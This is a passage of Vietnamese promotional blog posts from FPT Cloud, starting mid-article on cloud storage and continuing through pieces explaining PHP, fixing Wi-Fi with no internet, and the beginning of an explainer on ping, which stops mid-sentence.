lớn. Tuy nhiên vẫn có nhiều người không biết khi nào nên sử dụng dịch vụ này và sau đây là câu trả lời. Backup and Recovery Backup and Recovery có nghĩa là sao lưu và phục hồi. Đây là một trong những công việc quan trọng cần thực hiện nhằm đảm bảo dữ liệu luôn được bảo vệ an toàn tuyệt đối và có thể dễ dàng lấy lại khi cần. Tuy nhiên cùng với sự phát triển của xã hội thì yêu cầu của công việc này ngày càng một gia tăng. Do đó để thực hiện theo một cách bình thường là cả một thách thức đối với một hệ thống.  [caption id="attachment_22080" align="aligncenter" width="771"] Dịch vụ lưu trữ đám mây nên sử dụng khi nào là thích hợp nhất?[/caption] Chính vì thế sử dụng dịch vụ lưu trữ đám mây sẽ là giải pháp thích hợp nhất cho việc sao lưu và phục hồi dữ liệu được an toàn. Dịch vụ lưu trữ đám mây vừa an toàn, vừa có độ bền cao nhưng chi phí lại vô cùng thấp và phù hợp. Vậy nên dù là cá nhân hay doanh nghiệp đều có thể lựa chọn dịch vụ đám mây khi cần sao lưu và phục hồi dữ liệu. Kiểm thử và phát triển phần mềm Môi trường kiểm tra và phát triển phần mềm luôn đòi hỏi phải tách biệt, độc lập. Mỗi môi trường thực hiện cũng không giống nhau để xây dựng, quản lý cùng một hệ thống. Vì vậy đây cũng là lúc sử dụng dịch vụ lưu trữ đám mây nhằm đáp ứng nhanh nhu cầu công việc, bảo vệ an toàn cho các thông tin phát triển quan trọng. Có rất nhiều công ty đã tạo ra các ứng dụng có tốc độ nhanh, sản phẩm ưu việt nhờ tận dụng linh hoạt hiệu suất của dịch vụ lưu trữ đám mây. Dịch vụ lưu trữ này sẽ giúp các đơn vị quản lý môi trường, thông tin, dữ liệu hiệu quả hơn thay vì phải nhức đầu với cách quản lý ở môi trường cục bộ.   Di chuyển dữ liệu đám mây Việc quản lý lưu trữ, sao lưu dữ liệu tại các doanh nghiệp luôn là một việc làm cần thiết cần được duy trì mỗi ngày. Tuy nhiên điều đáng lo ngại nhất chính là việc phải di chuyển một lượng lớn dữ liệu lên đám mây hoặc ngược lại thường không được đảm bảo an toàn, tính bảo mật không cao và còn rất tốn thời gian. Những lúc này vậy lựa chọn dịch vụ lưu trữ đám mây sẽ là phương án giải quyết tốt nhất. [caption id="attachment_22084" align="aligncenter" width="771"] Sử dụng dịch vụ lưu trữ đám mây khi cần di chuyển dữ liệu đám mây[/caption] Dịch vụ lưu trữ đám mây có thể giúp người dùng di chuyển dữ liệu lớn đến đám mây và ngược lại đảm bảo an toàn tuyệt đối với băng thông cao. Dịch vụ lưu trữ này cũng cho phép người dùng rút ngắn thời gian khi thực hiện một cách hiệu quả. Quan trọng nhất là tính bảo mật của quá trình di chuyển dữ liệu đám mây của các dịch vụ luôn cao. Giải quyết nguồn dữ liệu lớn Dữ liệu là một trong những nguồn tài nguyên nhân tạo sẽ lớn lên theo thời gian. Đối với các doanh nghiệp càng lớn thì số lượng dữ liệu lưu trữ càng khổng lồ. Điều này đòi hỏi người quản trị phải có các giải pháp xử lý làm sao vừa không làm mất dữ liệu vừa có thể tìm kiếm dữ liệu nhanh khi cần,…Đặc biệt phải có một hồ chứa lớn để lưu trữ hết các dữ liệu sản sinh mỗi ngày. Hồ chứa dữ liệu lớn nhất, an toàn nhất giúp người quan trí giải quyết nhanh nguồn dữ liệu lớn chính là sử dụng dịch vụ lưu trữ đám mây. Dịch vụ lưu trữ dữ liệu đám mây có nhiều loại khác nhau cung cấp kho lưu trữ với quy mô khác nhau. Do đó chỉ cần lựa chọn được gói dịch vụ đám mây phù hợp thì dữ liệu lớn đến đâu cũng có thể lưu trữ an toàn. [caption id="attachment_22088" align="aligncenter" width="771"] Dịch vụ lưu trữ đám mây là lựa chọn tốt nhất để giải quyết nguồn dữ liệu lớn[/caption] Lưu trữ đám mây là gì? TOP ứng dụng lưu trữ đám mây tốt nhất hiện nay gồm những ứng dụng nào? Hy vọng thông qua bài viết được chia sẻ trên bạn sẽ tìm thấy được cho mình lời giải đáp hoàn hảo nhất cho những thắc mắc mà mình đề cập. Nếu trong quá trình theo dõi bài viết bạn có điều gì không hiểu rõ thể liên hệ FPT Cloud để được hỗ trợ.  Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399 FPT Smart Cloud – Nhà cung giải pháp và tư vấn hàng đầu về Điện toán đám mây và Trí tuệ nhân tạo tại Việt Nam.

PHP là gì? Khám phá chi tiết ngôn ngữ lập trình PHP

16:51 08/03/2022
Bạn đang có hứng thú tìm hiểu về các ngôn ngữ lập trình và thắc mắc về PHP là gì? Hay chỉ đơn giản là bạn tò mò và tự hỏi về độ chính xác của PHP khi sử dụng? Dù bất kể lý do gì thì ngay bây giờ bạn hãy tìm hiểu chi tiết cùng FPT Cloud. Chắc chắn với tổng hợp những thông tin cập nhật bạn sẽ bỏ túi được nhiều kinh nghiệm bổ ích. PHP là gì? PHP là gì? Trên thực tế đây là từ viết tắt của cụm Hypertext Preprocessor. Tên gọi trước đây cụ thể là Personal Home Page. Bạn có thể hiểu đây là ngôn ngữ lập kịch bản - Script Language. PHP làm việc trên Server máy chủ với nhiệm vụ là kết nối cơ sở dữ liệu và thực hiện các chức năng của web hay ứng dụng web.  [caption id="attachment_21982" align="aligncenter" width="771"] Tìm hiểu chi tiết PHP là gì[/caption] Ngôn ngữ lập trình này ban đầu được kiến tạo nên bởi Rasmus Lerdorf. Mục đích kiến tạo là theo dõi khách hàng truy cập vào trang chủ cá nhân của anh ấy. Khi đã trở nên phổ biến, Lerdorf đã phát hành thành một dự án nguồn mở. Quyết định này đã khuyến khích không ít hà phát triển sử dụng, sửa chữa, cải thiện code và biến nó thành ngôn ngữ Script mà ta sử dụng ngày nay.  Vậy ngôn ngữ Script là gì? Bản chất đây là ngôn ngữ tự động hóa quá trình thực hiện tác vụ trong môi trường runtime đặc biệt. Chúng bao gồm cả việc yêu cầu một trang web tĩnh thực hiện các hành động cụ thể với quy tắc mà bạn đã xác định trước. Ví dụ như bạn có thể dùng Script để xác thực biểu mẫu, đảm bảo tất cả các trường được triển trước khi gửi trở lại server.  Mặc dù PHP được xem là ngôn ngữ Script thế nhưng nó được sử dụng rộng rãi nhất để phát triển web. Điều này là vì những tính năng nổi bật mà PHP mang đến.  >>> Có thể bạn quan tâm: Wifi không có Internet - Nguyên nhân & 7 cách khắc phục Phân biệt server và client Các ngôn ngữ Script trên thực tế có thể chạy về phía Client hoặc là chạy về phía Server. Vậy sự khác biệt của Server và Client như thế nào? Chắc chắn rất nhiều bạn sẽ băn khoăn vấn đề này sau khi biết được PHP là gì? [caption id="attachment_21986" align="aligncenter" width="771"] Bạn nhất định phải biết phân biệt Script Server với Script Client[/caption] Trên thực tế Client và Server là 2 yếu tố then chốt đóng vai trò khởi động một trang web và làm cho mạng internet được sử dụng thiết thực hơn. Trong đó, các Script phía Client được xử lý bởi trình duyệt web. Một khi Client yêu cầu trang web chứa các Scripts Client - side, server hệ thống sẽ phản hồi lại. Quy cách phản hồi là gửi source codes có thể thực thi được cho trình duyệt.  Mặt khác, ngôn ngữ Script chạy về phía Server nghĩa là các Scripts thực thi trên hệ thống Servers trước khi chúng được gửi tới trình duyệt. Vì vậy thay vì gửi Source code, servers web xử lý code trước tiên bằng việc chuyển chúng thành định dạng HTML đơn giản.  Do đó Script phía Server cho phép nhà quản trị web ẩn source code. Trong khi Scripts chạy về phía Client có thể dễ dàng nhìn thấy bởi người dùng.  Ngoài ra bạn có thể hiểu đơn giản là client thực hiện hành động truy xuất vào trang web để tìm kiếm thông tin cần thiết thực thi các tác vụ theo nhu cầu. Server là nơi chứa những thứ mà Client cần nhiệm vụ là kịp thời cung cấp khi có yêu cầu từ Client.  Ứng dụng ngôn ngữ lập trình PHP Trong quá trình phát triển CNTT trên thực tế ngôn ngữ lập trình PHP thường tập trung xây dựng kịch bản hoạt động từ hệ thống máy chủ. Vì vậy bạn có thể thực hiện được nhiều thao tác khác nhau. Điển hình như tạo các dữ liệu, nội dung website hay nhận dữ liệu cookie khi làm việc. Tuy nhiên ngoài những ứng dụng trên thì qua tìm hiểu về PHP còn giúp: [caption id="attachment_21990" align="aligncenter" width="771"] Hiện nay ngôn ngữ lập trình PHP được ứng dụng rộng rãi[/caption] Thiết lập chương trình cho máy chủ Một khi được hỏi ứng dụng chủ đạo của PHP là gì  đáp án đưa ra là xây dựng các chương trình dành cho những server máy chủ. Theo đó để thực hiện viết các chương trình chạy trên máy chủ lập trình viên sẽ thực hiện những công việc như:  Phân tích cú pháp PHP  Xây dựng hệ thống máy chủ web, trình duyệt web  Xây dựng output thông qua các trình duyệt web phổ biến. Tạo dòng tập lệnh Các PHP Dev được nhận định là có thể tạo một dòng tập lệnh để vận hành chương trình PHP mà không cần bất kỳ  máy chủ nào. Đây là kiểu lập trình được sử dụng trên hệ thống các điều hành phổ biến. Bao gồm như Linux, lập trình tác vụ trên Windows. Xây dựng các ứng dụng làm việc Một trong những ứng dụng tiếp theo mà ngôn ngữ lập trình PHP có thể làm là xây dựng các ứng dụng làm việc. Có thể nói đây chưa phải là phương thức tốt nhất để xây dựng các ứng dụng phần mềm. Thế nhưng nếu bạn muốn đi xa hơn trong việc tạo lập những phần mềm từ PHP thì bạn có thể áp dụng. Trong đó bạn có thể sử dụng PHP - GTK như một ngôn ngữ nền tảng để xây dựng các phần mềm riêng của mình. PHP - GTK chính là một nhánh mở rộng hơn của ngôn ngữ lập trình PHP và không có sẵn ở các phiên bản phân phối chính hiện nay. [caption id="attachment_21996" align="aligncenter" width="800"] Ngôn ngữ lập trình PHP hoàn toàn có thể xây dựng các ứng dụng làm việc[/caption] Hỗ trợ cơ sở dữ liệu khác nhau Đây được xem là một trong những ứng dụng mạnh mẽ nhất một khi được hỏi ứng dụng PHP là gì? Theo đó, nếu trang web có hỗ trợ cơ sở dữ liệu tốt sẽ giúp ích rất nhiều trong việc vận hành cũng như Backup dữ liệu. Nhất là khi có trường hợp không may xảy ra hoặc là các tình huống tấn công an ninh mạng. Hiện nay PHP hoàn toàn có thể sử dụng trên nhiều hệ điều hành phổ biến. Ví dụ như Linux, Microsoft Windows, MacOS,... Vì thế các DEV dễ dàng tự do lựa chọn cho mình một thế hệ điều hành để tự lập trình. Do đó có thể khẳng định rằng ngôn ngữ lập trình PHP đã mang đến rất nhiều hữu ích cho người dùng trong hoạt động công nghệ thông tin hiện nay.  >>> Có thể bạn quan tâm: PING là gì? Đánh giá chỉ số Ping khi kiểm tra tốc độ mạng So sánh PHP cùng các số ngôn ngữ lập trình phổ biến khác Một khi tìm hiểu về PHP chắc chắn không thể bỏ qua vấn đề này. Bởi lẽ đây sẽ là căn cứ giúp bạn đánh giá tổng quan ngôn ngữ lập trình PHP so với các ngôn ngữ khác. [caption id="attachment_22000" align="aligncenter" width="771"] Nhận diện các ngôn ngữ lập trình với PHP[/caption] Về cơ bản PHP là một dạng ngôn ngữ lập trình. Thế nhưng ngôn ngữ lập trình này lại không chạy trên một trình duyệt mà thực tế chủ yếu tương thích với một máy chủ web. Một khi bạn mở rang web nào bất kỳ, lúc này máy chủ sẽ chạy tập lệnh đã được liên kết để trả kết quả lại website cho bạn.  Trong khi đó, HTML lại được dùng để tạo lập một trang web hoàn chỉnh. Ngôn ngữ này chủ yếu được dùng để lên cấu trúc cơ bản cho một trang web. Hiện nay bất kỳ trang web nào cũng cần phải ứng dụng ngôn ngữ lập trình HTML để xây dựng website. Còn đối với CCS lại chủ yếu được sử dụng với mục đích trang trí cho website của bạn thêm đẹp mắt hơn. CCS mang đến rất nhiều hiệu ứng khác nhau để giúp website thu hút nhiều lượt người xem nhất. Và cuối cùng Java Script chủ yếu cung cấp cho website sức mạnh nhất. Khi sử dụng ngôn ngữ lập trình này các lập trình viên có thể đặt các phép tính, điều kiện khác nhau nhằm kiểm tra khả năng phản ứng của Website trong thực tế. Trong đó, Java cần Application Server, JVM và bất kỳ hệ điều hành, web server nào để vận hành. Còn PHP cần Apache Server/IIS, PHP Engine, hệ điều hành, web Server. Nghề lập trình PHP Hiện nay có thể thấy nghề lập trình viên đang được rất nhiều bạn trẻ theo học. Trong đó nhân viên lập trình PHP là gì? Bạn có thể hiểu là những kỹ sư trưởng chuyên thiết kế phần mềm máy tính. Vậy nghề lập trình viên cụ thể là làm những gì? công việc và lương thưởng ra sao? [caption id="attachment_22004" align="aligncenter" width="771"] Nghề lập trình nhìn chung hiện nay cũng được ưa chuộng không kém[/caption] Các công việc liên quan Là một nhân viên lập trình PHP thì công việc thực hiện đều liên quan đến máy tính. Trong đó, nhiệm vụ chính của một PHP Developer hiện nay có thể kể tới là: Lập trình website: Cụ thể tại IT sẽ dùng PHP để thiết kế những website. Có thể thấy rất nhiều nền tảng khác nhau hiện nay đều được tạo bởi PHP. Rất nhiều mạng xã hội nổi tiếng mà mọi người dùng hiện nay đều lấy PHP làm nền tảng gốc. Ví dụ như Facebook, Youtube,... Quản trị website: Việc quản trị các website thực tế cũng là việc mà các PHP Developer luôn thường xuyên phải làm. Thế nhưng công việc này hầu như không có thu nhập so với các dự án thiết kế việc khác nhau.  Phát triển ngôn ngữ PHP: Thực tế đây là một ngôn ngữ với mã nguồn mở. PHP cũng được phát triển từ một cộng đồng IT với lượng thành viên lớn. Tác giả của PHP luôn liên tục update nhưng bản mới nhất ra thị trường để giúp các nhân viên IT hoạt động dễ dàng hơn. Tất cả những công việc này được hướng đến với mục đích cuối cùng là nâng cao hiệu quả quá trình vận hành của phần mềm. Vậy nên nếu muốn phần mềm được vận hành hiệu quả thì nhà tuyển dụng cần phải rất kỹ càng trong việc tuyển chọn IT.  Thu nhập từ nghề lập trình PHP Lương thưởng là một trong những vấn đề mà các bạn thường quan tâm nhất khi tìm hiểu một ngành nghề nào đó. Và nhìn chung làm nghề lập trình viên thu nhập của mỗi người đều tùy thuộc vào năng lực từng ứng viên. Mức tiền lương còn phụ thuộc vào quy mô của các công ty công nghệ mà nhân viên lập trình tham gia tuyển dụng.  [caption id="attachment_22008" align="aligncenter" width="771"] Thu nhập của lập trình viên tại Việt Nam khá cao ngay từ khi vừa ra trường[/caption] Thế nhưng so với các lĩnh vực khác thì làm nghề lập trình nói chung và DEV nói riêng hầu như đều có mức lương khá cao. Cụ thể trung bình trên Thế Giới nếu một lập trình viên đã có kinh nghiệm thì mức lương kiếm được có thể đạt 100 nghìn USD trên năm. Tức số tiền ước tính đạt 1.3 tỷ đến 2.2 tỷ đồng.  Tất nhiên tại Việt Nam thu nhập của một ứng viên lập trình cũng không phải là nhỏ. Trong đó nếu như bạn vừa ra trường thì lương dành cho nhân viên thiết kế web PHP đã chạm tới con số 16 triệu đồng/tháng. Đặc biệt con số này không chỉ dừng lại ở mức 16 triệu nếu như năng lực của bạn đã được chứng minh trong thực tế mà sẽ tăng cao hơn nữa. Chính mức lương như vậy nên không ít bạn trẻ đã xác định lập nghiệp từ con đường này. Những yếu tố cần và đủ để trở thành lập trình viên PHP giỏi Dựa vào mức lương khủng như vậy chắc chắn không ít bạn đều muốn trở thành lập trình viên tiêu biểu. Thế nhưng để trở thành một lập trình viên giỏi thì nhất định phải đáp ứng được các yếu tố cơ bản đề ra. Và sau đây là tất cả những yếu tố mà các ứng viên ngành CNTT đều phải có: [caption id="attachment_22012" align="aligncenter" width="771"] Muốn trở thành lập trình viên giỏi bạn phải có 3 yếu tố chính[/caption] Có khả năng tự nghiên cứu Nếu bạn đã lựa chọn công nghệ thông tin để thất nghiệp trước hết bạn cần phải tự mình học hỏi, tự nghiên cứu, tìm tòi update những kiến thức công nghệ mới nhất. Đặc biệt trong thời đại công nghệ 4.0 phát triển như hiện nay thì thì chiều hướng thay đổi cực kỳ liên tục với xu hướng đi lên. Vậy nên nếu bạn không có khả năng tự nghiên cứu, học hỏi đồng nghĩa với việc bạn đã tự loại bản thân ra khỏi bài cuộc chơi.  Khả năng ngoại ngữ tốt  Một lập trình viên PHP nói riêng và lập trình viên nói chung nhất định phải có khả năng ngoại ngữ. Nhất là tiếng Anh bắt buộc phải có đối với mọi IT hiện nay. Đây là điều bất di bất dịch không thể nào thiếu khi bước chân vào nghề.  Bởi lẽ 100% phần mềm máy tính hiện nay đều chủ yếu sử dụng ngôn ngữ tiếng Anh để vận hành. Hơn nữa làm lập trình viên bạn cũng cần tìm hiểu thị trường Thế giới. Nếu bạn không hiểu rõ ngoại ngữ sẽ rất khó để tiến xa trong ngành này. Tuy nhiên một lời thế là các ứng viên công nghệ thông tin không cần phải thông thạo như người bản địa. Bạn chỉ cần biết đọc và hiểu được tốt các tài liệu chuyên ngành là có thể bắt nhịp được với công việc.  [caption id="attachment_22016" align="aligncenter" width="750"] Ngoại ngữ tốt luôn là ưu thế của một lập trình viên[/caption] Biết khách quan hệ giao tiếp  Một thực tế cho thấy nếu nhân viên IT mặc dù có kiến thức chuyên môn cao nhưng không thể tiến tới các vị trí cao là vì mối tương quan giao tiếp. Nói một cách cụ thể hơn là kỹ năng giao tiếp của nhân viên quá kém.  Chí thế một yếu tố mà nhân viên lập trình nhất định phải có đó chính là thành thạo việc truyền tải ý tưởng. Bạn cần phải học cách làm sao để khi nêu ra những ý tưởng của mình cho người khác họ có thể hiểu rõ bản thân đang muốn gì. Đây chính là bệ phóng hoàn mỹ để bạn có thể tiến tới những vị trí cao hơn trong tương lai. Lý do nên học &  sử dụng PHP? Có thể nhận thấy rằng không chỉ riêng gì PHP là ngôn ngữ lập trình duy nhất mà còn rất nhiều ngôn ngữ khác nữa được biết thể hiện nay. Vậy lý do vì sao sao nên học và sử dụng PHP? Trên thực tế có rất nhiều lý do thuyết phục giúp PHP trở thành ngôn ngữ tuyệt vời để sử dụng. Cụ thể là: Đối với ngôn ngữ lập trình PHP bạn có thể học dễ dàng, đơn giản.. Bởi vì ngôn ngữ này có tài liệu tuyệt vời về các chức năng cùng các ví dụ cụ thể.  Ngôn ngữ PHP được sử dụng rộng rãi để tạo ra các loại nền tảng khác nhau. Ví dụ như thương mại điện tử, phương tiện truyền thông hay Blogs,...Theo như Thống kê cho thấy có tới hơn 79% các trang web đều sử dụng PHP. PHP là nguồn mở để bạn có thể sử dụng miễn phí.  Cộng đồng sử dụng PHP lớn. Nếu bạn gặp bất kỳ vấn đề nào, sự cố nào cũng không phải lo lắng vì có rất nhiều Blog PHP chia sẻ trên Internet.  PHP tích hợp với cơ sở dữ liệu tốt. Phần trăm tìm được việc làm cao …. [caption id="attachment_22020" align="aligncenter" width="771"] Đừng bỏ qua ngôn ngữ lập trình PHP[/caption] Đặc biệt PHP có lợi thế hơn những đối thủ cạnh tranh khác nếu như bạn chạy trang web WordPress. Nếu sử dụng ngôn ngữ này sẽ giúp cải thiện không ít số lượng tùy chỉnh có thể có ở trang web. Ví dụ như sửa đổi Plugins và themmes có sẵn hay tự tạo Plugin. Nếu bạn muốn trở thành nhà phát triển, WordPrees bạn bắt buộc phải học PHP. Vậy PHP là gì? FPT Cloud đã tổng hợp chi tiết từ A – Z những thông tin liên quan về ngôn ngữ lập trình này. Ắt hẳn giờ đây bạn đã bỏ túi được cho mình cái nhìn cụ thể hơn khi tìm hiểu các ngôn ngữ lập trình rồi nhỉ. Ngoài ra nếu bạn còn băn khoăn điều gì hãy comment để được FPTCloud giải đáp trong thời gian nhanh nhất. Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399

Wifi không có Internet – Nguyên nhân & 7 cách khắc phục

16:42 08/03/2022
Wifi không có internet là tình trạng rất nhiều người gặp phải. Theo đó lỗi kết nối này là vì điểm truy cập mạng có tốc độ không ổn định, mật khẩu wifi không đúng, có vấn đề về sóng hoặc lỗi xung đột hệ thống,... Vậy cách khắc phục tình trạng lỗi wifi không có internet là như thế nào? Hãy cùng theo dõi bài viết sau để xử lý vấn đề này nhanh chóng.  Dấu hiệu thiết bị có bắt wifi nhưng không vào được internet Wifi đã kết nối không có internet là tình trạng chung mà nhiều người đã từng gặp phải. Theo đó dấu hiệu thiết bị có bắt wifi nhưng không vào được internet là thiết bị di động của bạn vẫn hiển thị biểu tượng wifi tuy nhiên những ứng dụng không thể nào truy cập được vào internet.  Dấu hiệu thiết bị có bắt wifi nhưng không vào được internet Bạn sử dụng messenger để gửi tin nhắn nhưng không thể nào gửi đây hoặc truy cập vào YouTube cũng không thể nào xem những video hay vào Safari để truy cập những trang Web cũng sẽ không được. Vậy nguyên nhân gây ra lỗi wifi không có internet là gì? Nguyên nhân gây ra lỗi wifi không có internet Lỗi wifi không có internet xảy ra là vì nhiều nguyên nhân khác nhau. Tuy nhiên dưới đây là một số những nguyên nhân thường xuyên gặp phải nhất trên thị trường hiện nay: Vì cài đặt đối với chế độ IP không phù hợp với Modem. Theo đó 1 số những Modem được cài đặt có sự khác biệt so với những Modem khác, vì vậy đã gây ra vấn đề lỗi wifi không có internet này.  Dây mạng được cắm từ cục WiFi modem chủ hiện tại không phù hợp cùng với cục wifi đang sử dụng. Không tương thích cùng với địa chỉ IP trong bộ chia mạng Xung đột IP cùng với cục wifi nhỏ được cắm chung vào trong hệ thống mạng chủ.  Do lỗi của dây mạng hoặc cổng chia mạng bị hỏng,... Nguyên nhân gây ra lỗi wifi không có internet phổ biến hiện nay >>> Có thể bạn quan tâm: PING là gì? Đánh giá chỉ số Ping khi kiểm tra tốc độ mạng Cách khắc phục lỗi wifi không có internet Là một trong những tình trạng thường xuyên mắc phải ở nhiều người vậy cách khắc phục lỗi wifi không có internet là như thế nào? Theo đó trước khi khắc phục bạn cần phải chắc chắn chỉ điện thoại bạn bị lỗi và những thiết bị khác vẫn có thể truy cập, kết nối bình thường với mạng wifi.  Khởi động lại thiết bị  Nguyên nhân chính của lỗi wifi không có internet hiện nay đó chính là do thiết bị. Theo đó sau một khoảng thời gian dài sử dụng liên tục điện thoại thì bộ nhớ RAM cụ thiết bị đã bị đầy khiến cho máy bị chậm, lag và gây ra một số những lỗi nhỏ.  Cách thức để có thể khắc phục lỗi wifi không có internet này đó chính là khởi động lại điện thoại như vậy sẽ giúp xóa sạch được bộ nhớ RAM. Từ đó sẽ giúp khắc phục được những lỗi và giúp cho điện thoại chạy được mượt mà hơn.  Cách khắc phục lỗi wifi không có internet Tạm thoát kết nối wifi sau đó kết nối lại Lỗi wifi không có internet hiện nay chủ yếu là vì điện thoại của bạn đang sử dụng hiện đang chờ cập trực tiếp vào trong wifi bằng mật khẩu cũ. Theo đó mà khẩu này đã được lưu sẵn ở trong điện thoại thông qua lần đăng nhập trước. Sau đó chủ của wifi đã cập nhật lại mật khẩu mới. Theo đó đối với nguyên nhân này thì cách khắc phục chủ yếu đó chính là thoát mạng wifi sau đó kết nối lại cùng với mật khẩu mới đã được cập nhật. Theo các bước đơn giản sau đây:  Bước 1: Truy cập vào phần cài đặt Cài đặt, sau đó chọn vào mục WiFi và chọn vào biểu tượng của mạng WiFi cần được kết nối lại có hình chữ "i". Tạm thoát kết nối wifi sau đó kết nối lại Bước 2: Chọn vào Quên mạng này sau đó nhấn vào Quên. Chọn vào Quên mạng này sau đó nhấn vào Quên Bước 3: Cuối cùng là kết nối lại vào mạng wifi bằng cách chọn vào trong mạng cần được kết nối sau đó nhập lại mật khẩu wifi, chọn và kết nối  Kết nối lại vào mạng wifi để khắc phục lỗi Tắt chế độ nguồn điện thấp  Một trong những cách thức khá đơn giản để khắc phục được lỗi wifi không có internet đó chính là tắt chế độ nguồn điện thấp. Theo đó chế độ nguồn điện thấp này sẽ hạn chế những kết nối hay tắt những ứng dụng nâng cao nhằm giảm hiệu suất cũng như giảm điện năng mà điện thoại tiêu thụ.  Đối với nguyên nhân của lỗi wifi không có internet này thì cách khắc phục có thể thực hiện như sau Với điện thoại iPhone Đối với điện thoại iPhone bạn cần thực hiện theo các bước đơn giản sau đây truy cập vào mục cài đặt sau đó chọn vào Pin. Tại mục là chế độ nguồn điện thấp cần gạt nút qua trái để có thể tắt chế độ này. Tắt chế độ nguồn điện thấp với điện thoại iPhone Với điện thoại Android Đối có điện thoại Android bạn cần thực hiện theo các bước đơn giản sau đây truy cập vào mục cài đặt, sau đó chọn Pin và chọn vào chế độ tiết kiệm pin.  Tắt chế độ nguồn điện thấp với điện thoại Android Gạt nút qua trái để có thể tắt được chế độ tiết kiệm pin này. Gạt nút qua trái để có thể tắt được chế độ tiết kiệm pin này Thiết lập lại địa chỉ IP  Thiết lập lại địa chỉ IP là một trong những cách thức để khắc phục được tình trạng lỗi wifi không có internet. Theo đó nguyên nhân chính của trường hợp này đó chính là địa chỉ IP không chính xác hoặc bị trùng, cấu hình Gateway hoặc DNS trên máy bị sai chính là những nguyên nhân gây ra tình trạng này.  Theo đó cách thức để khắc phục được tình trạng này đó chính là cài đặt địa chỉ IP lại cho chính xác để truy cập vào internet bằng wifi theo những bước sau đây: Bước 1: Chọn vào Cài đặt sau đó chọn Wi-Fi và chọn vào mạng mà bạn cần cài đặt địa chỉ IP lại Thiết lập lại địa chỉ IP Bước 2: Tick chọn vào mục Hiện những tùy chọn chuyên sâu sau đó tại mục Cài đặt IP thì chọn vào Tĩnh. Tại mục Cài đặt IP thì chọn vào Tĩnh Bước 3: Thay đổi thông tin địa chỉ IP bằng cách thay đổi DNS sau đó chọn vào Lưu. Thay đổi thông tin địa chỉ IP bằng cách thay đổi DNS Theo đó với địa chỉ IP thì bạn sẽ phải thay đổi ba số cuối nằm trong địa chỉ IP  bằng những con số từ một đến 250. Nhưng cần lưu ý rằng nên tránh 10 số cuối cũng như số đầu. Với DNS 1 thì điền vào dãy số là 8.8.8.8 Với DNS 2 thì điền vào dãy số là 8.8.4.4   Khôi phục cài đặt mạng  Hiện tại đối với lỗi wifi không có internet có thể khắc phục bằng cách khôi phục cài đặt mạng. Theo đó nguyên nhân của tình trạng này đó chính là những virus, xung đột phần mềm hoặc thay đổi những cài đặt trong suốt quá trình restore, reset máy. Đây đều là những nguyên nhân chính khiến cho cài đặt mạng trên thiết bị di động của bạn bị thay đổi.  Theo đó cách thức để có thể khắc phục được tình trạng này đó chính là đặt lại hoặc khôi phục cài đặt mạng để có thể đưa cài đặt mạng trở về trạng thái ban đầu và giúp cho chúng hoạt động lại đúng với cơ chế lúc đầu. Cụ thể cách thức khắc phục như sau: Đối với thiết bị iPhone cần thực hiện theo những bước sau đây: Bước 1: Vào trong mục Cài đặt sau đó chọn vào mục cài đặt chung và chọn vào đặt lại. Khôi phục cài đặt mạng với thiết bị iPhone Bước 2: Lựa chọn vào mục đặt lại cài đặt mạng Đối với thiết bị Android cần thực hiện theo những bước cơ bản sau đây:  Bước 1: Truy cập vào phần cài đặt sau đó chọn vào sao lưu & cài đặt lại, cuối cùng là chọn vào khôi phục cài đặt mạng.  Khôi phục cài đặt mạng với thiết bị Android Bước 2: Lựa chọn vào mục xóa những cài đặt. Reset lại modem wifi  Nếu như máy tính của bạn đã bắt được vào trong wifi tuy nhiên vẫn không thể nào vào được internet thì khi đó có thể thử thêm cách reset lại modem wifi. Theo đó cách thức khắc phục này sẽ đồng nghĩa với việc bạn sẽ cài đặt lại Modem cho wifi của máy tính.  Tuy nhiên trước khi reset thì bạn cũng phải lưu ý rằng nên kiểm tra những thông số cài đặt dành cho Modem hiện có còn hay không. Nếu như không thì bạn nên nhờ tới những nhân viên lắp đặt mạng họ sẽ chịu toàn bộ trách nhiệm để giúp bạn kiểm tra được vấn đề này.  >>> Có thể bạn quan tâm: Rendering là gì? Tầm quan trọng của Rendering trong thiết kế đồ họa Khởi động lại modem wi-fi  Nhiều trường hợp máy tính có sóng wifi tuy nhiên không thể nào kết nối được cùng với mạng internet có thể là vì Modem hiện đang gặp vấn đề. Theo đó để có thể khắc phục được lỗi wifi không có internet này bạn có thể khởi động thiết bị modem wifi lại. Như vậy thì có thể sử dụng được mạng một cách bình thường.  Khởi động lại modem wifi để khắc phục lỗi wifi không có internet Như vậy trên đây là tất cả những thông tin chi tiết được FPT Cloud cung cấp giúp bạn khắc phục được lỗi wifi không có internet khá phổ biến hiện nay. Theo đó hy vọng rằng với những hướng dẫn về cách thức khắc phục trên cũng như một số những nguyên nhân chủ yếu thường gặp sẽ giúp bạn khôi phục lại wifi một cách dễ dàng.    Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399  

PING là gì? Đánh giá chỉ số Ping khi kiểm tra tốc độ mạng

16:38 08/03/2022
Ping là gì? Trong suốt quá trình sử dụng internet có lẽ bạn đã nhiều lần nghe tới từ Ping và cũng nghe nhiều người nói sử dụng Ping để kiểm tra tốc độ mạng. Tuy nhiên không phải ai cũng hiểu rõ khái niệm Ping là gì, các ý nghĩa cũng như cách thức kiểm tra thông số này. Để giải đáp tất cả những thắc mắc trên hãy cùng FPT Cloud theo dõi qua bài viết sau.  PING là gì? Ping là gì? Theo đó đây là từ viết tắt của cụm Packet Internet Groper. Ping là 1 công cụ dành cho mạng máy tính dùng trên những mạng TCP/IP nhằm kiểm tra coi có thể kết nối đến 1 máy chủ cụ thể nào hay không.  [caption id="attachment_21856" align="aligncenter" width="771"] PING là gì?[/caption] Bên cạnh đó nó còn ước lượng về thời gian trễ trọn vòng nhầm gửi có dữ liệu về tỷ lệ những dữ liệu có thể sẽ bị mất giữa 2 máy.  Khái niệm Ping là gì này có thể hiểu một cách đơn giản sử dụng để kiểm tra kết nối 2 hoặc nhiều thiết bị có trên một đường truyền. Hay cũng có thể kiểm tra kết nối của máy chạm đến máy chủ hiện đang được nó kết nối thông qua cách thức đo tổng thời gian gửi cũng 